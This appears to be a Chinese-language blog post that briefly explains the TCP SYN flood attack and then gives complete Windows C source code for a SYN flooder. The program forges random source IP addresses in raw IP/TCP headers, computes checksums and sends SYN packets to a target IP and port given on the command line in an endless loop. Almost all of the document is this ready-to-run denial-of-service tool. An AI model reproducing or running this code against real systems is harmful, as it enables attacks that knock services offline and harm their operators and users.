熟悉tcp的都知道,在connect時候,有三向交握過程。也就是所謂的[SYN]
[SYN+ACK] [ACK],在目的主機收到syn後,會回複一個確認包,但是若是我源主機ip並不存在,那麼並不能返回三向交握中的[ACK]包,導致目標主機不斷為到來的串連分配資源,這樣,只要源主機不斷髮送SYN報文,偽造大量的ip地址,目的主機最終將會由於資源耗盡而崩潰。
/************************************************************************//*synFlood.h*//*2013-3-18*//************************************************************************/typedef unsigned short ushort;typedef unsigned long ulong;typedef unsigned int uint;typedef unsigned char uchar;//ip首部typedef struct ip_hdr {uchar h_verlen; //4位首部長度,4位IP版本號碼uchar tos; //8位服務類型TOSushort total_len; //16位總長度(位元組)ushort ident; //16位標識ushort frag_and_flags; //3位標誌位(另外13位為片位移)uchar ttl; //8位存留時間 TTLuchar protocols; //8位協議 (如ICMP,TCP等)ushort chksum; //16位IP首部校正和uint sourceIP; //32位源IP地址uint destIP; //32位目的IP地址}IP_HDR;//tcp首部typedef struct tcp_hdr{ushort sourcePort;//16位源連接埠號碼ushort destPort;//16位目的連接埠號碼uint seq;//32位序號uint ack;//32位確認序號uchar h_lenres;//4位首部長度,6位保留uchar flag;//6位標識ushort win;//16位視窗大小ushort chksum;//16位校正和ushort urgpoint;//16位緊急指標}TCP_HDR;//tcp偽首部,用於校正和的計算typedef struct pre_tcp_hdr{ulong sourceAddr; //32位源地址ulong destAddr; //32位目的地址char mbz;uchar ptcl; //8位協議類型ushort tcplen; //16位TCP長度}PRE_HDR;
/************************************************************************//*synFlood.cpp*//*2013-03-18 *//************************************************************************/#include <stdio.h>#include <winsock2.h>#include <time.h>#include <windows.h>#include <string.h>#include <WS2TCPIP.H>#include "synFlood.h"#define SLEEPTIME 10SOCKET sock;SOCKADDR_IN addr_in;IP_HDR ipHdr;TCP_HDR tcpHdr;PRE_HDR preHdr;int SourcePort;char sendBuf[60]={0};int rect;#pragma comment(lib, "ws2_32.lib")//計算校正和的子函數ushort chkSum(ushort *buffer, int size){ulong cksum=0;while(size >1){cksum+=*buffer++;size -=sizeof(ushort);}if(size){cksum += *(uchar*)buffer;}cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (ushort)(~cksum);}//資料包首部填充int dataFill(char * argv[]){srand((int)time(0));//填充IP首部ipHdr.h_verlen=(4<<4 | sizeof(ipHdr)/sizeof(ulong));ipHdr.tos=0;ipHdr.total_len=htons(sizeof(ipHdr)+sizeof(ipHdr)); //IP總長度ipHdr.ident=1;ipHdr.frag_and_flags=0; //無分區ipHdr.ttl=(uchar)GetTickCount()%87+123;;ipHdr.protocols=IPPROTO_TCP; // 協議類型為 TCPipHdr.chksum=0; //效驗位先初始為0ipHdr.sourceIP=htonl(GetTickCount()*474695); //隨機產生一個偽造的源IPipHdr.destIP=inet_addr(argv[1]); //目標IP//printf("%d\n\n",ipHdr.destIP);//填充TCP首部SourcePort=GetTickCount()*43557%9898; //隨機產生一個本機連接埠號碼//printf("%d\n\n",SourcePort);tcpHdr.destPort=htons(atoi(argv[2])); //目的連接埠tcpHdr.sourcePort=htons(SourcePort); //源連接埠號碼tcpHdr.seq=htonl(0x12345678); tcpHdr.ack=0; tcpHdr.h_lenres=(sizeof(tcpHdr)/4<<4|0);tcpHdr.flag=2; //為SYN請求tcpHdr.win=htons(512);//視窗大小tcpHdr.urgpoint=0;tcpHdr.chksum=0;//填充TCP偽首部用來計算TCP頭部的效驗和preHdr.sourceAddr=ipHdr.sourceIP;preHdr.destAddr=ipHdr.destIP;preHdr.mbz=0;preHdr.ptcl=IPPROTO_TCP;preHdr.tcplen=htons(sizeof(tcpHdr));//tcp協議長度return true;}//發送資料int sendData(){rect=sendto(sock, sendBuf, sizeof(ipHdr)+sizeof(tcpHdr), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));if (rect==SOCKET_ERROR){printf("send error!:%x",WSAGetLastError());return false;}elseprintf("success send\n");Sleep(SLEEPTIME);return true;}int main(int argc,char *argv[]){WORD wVersionRequested;WSADATA wsaData;int err;BOOL flag;//socket版本檢測wVersionRequested = MAKEWORD( 2, 2 );err = WSAStartup( wVersionRequested, &wsaData );if ( err != 0 ) {printf("WSAStartup Error!");return false;}if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ) {printf("Could not find a usable WinSock DLL\n");WSACleanup( );return false; }//輸入檢測if (argc < 3 || argc >4 ){ printf("input error!\n");return false;}if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)//管理員權限才可以產生原始通訊端{printf("Socket Error!\n");return false;}flag=true;if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR){printf("setsockopt IP_HDRINCL error!\n");return false;}int nSendTime=30*1000;//設定逾時時間if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nSendTime, sizeof(nSendTime))==SOCKET_ERROR) {printf("setsockopt SO_SNDTIMEO error!\n");return false;}addr_in.sin_family=AF_INET;addr_in.sin_port=htons(atoi(argv[2]));//目的連接埠addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);//目的ipwhile(1){dataFill(argv);//利用tcp前序與偽前序計算校正和memcpy(sendBuf, &preHdr, sizeof(preHdr));memcpy(sendBuf+sizeof(preHdr), &tcpHdr, sizeof(tcpHdr));tcpHdr.chksum=chkSum((ushort *)sendBuf,sizeof(preHdr)+sizeof(tcpHdr));//將偽造的ip前序與tcp前序封裝發送memcpy(sendBuf, &ipHdr, sizeof(ipHdr));memcpy(sendBuf+sizeof(ipHdr), &tcpHdr, sizeof(tcpHdr));sendData();}closesocket(sock);WSACleanup();return 0;}